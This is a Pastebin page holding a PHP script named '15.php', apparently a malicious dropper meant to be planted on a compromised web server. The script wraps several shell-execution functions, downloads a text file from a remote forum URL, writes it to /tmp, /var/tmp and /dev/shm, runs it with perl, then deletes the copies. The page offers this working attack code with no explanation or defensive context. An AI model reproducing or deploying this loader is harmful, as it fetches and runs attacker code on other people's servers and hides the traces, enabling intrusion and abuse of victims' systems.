Advertisement
PalmaSolutions

15.php

May 27th, 2018
171
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
PHP 1.31 KB | None | 0 0
  1. <?php
  2.  
  3. ignore_user_abort(1);
  4. set_time_limit(0);
  5. function ex($cfe){
  6. $res = "";
  7. if (!empty($cfe)){
  8. if(function_exists("exec")){
  9. exec($cfe,$res);
  10. $res = join("\n",$res);
  11. }
  12. elseif(function_exists("shell_exec")){
  13. $res = shell_exec($cfe);
  14. }
  15. elseif(function_exists("system")){
  16. ob_start();
  17. system($cfe);
  18. $res = ob_get_contents();
  19. ob_end_clean();
  20. }
  21. elseif(function_exists("passthru")){
  22. ob_start();
  23. passthru($cfe);
  24. $res = ob_get_contents();
  25. ob_end_clean();
  26. }
  27. elseif(is_resource($f = popen($cfe,"r"))){
  28. $res = "";
  29. while(!feof($f)) { $res .= fread($f,1024); }
  30. pclose($f);
  31. }}
  32. return $res;
  33. }
  34.  
  35. $fileorkut="http://www.forumdomande.com/components/com_agora/img/members/0/nzen.txt";
  36. $handle = fopen($fileorkut, "rb");
  37. $tudao = "";
  38. while (!feof($handle)) {
  39.   $tudao .= fread($handle, 8192);
  40. }
  41. fclose($handle);
  42.  
  43. $handle=fopen("/tmp/aff2.txt", "w+");
  44. fwrite($handle, $tudao);
  45. fclose($handle);
  46.  
  47. $handle=fopen("/var/tmp/aff2.txt", "w+");
  48. fwrite($handle, $tudao);
  49. fclose($handle);
  50.  
  51. $handle=fopen("/dev/shm/aff2.txt", "w+");
  52. fwrite($handle, $tudao);
  53. fclose($handle);
  54.  
  55. echo ex("cd /tmp;perl aff2.txt");
  56. echo ex("cd /var/tmp;perl aff2.txt");
  57. echo ex("cd /dev/shm;perl aff2.txt");
  58.  
  59. echo ex("cd /tmp;rm -rf aff2.txt");
  60. echo ex("cd /var/tmp;rm -rf aff2.txt");
  61. echo ex("cd /dev/shm;rm -rf aff2.txt");
  62.  
  63.  
  64. ?>
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement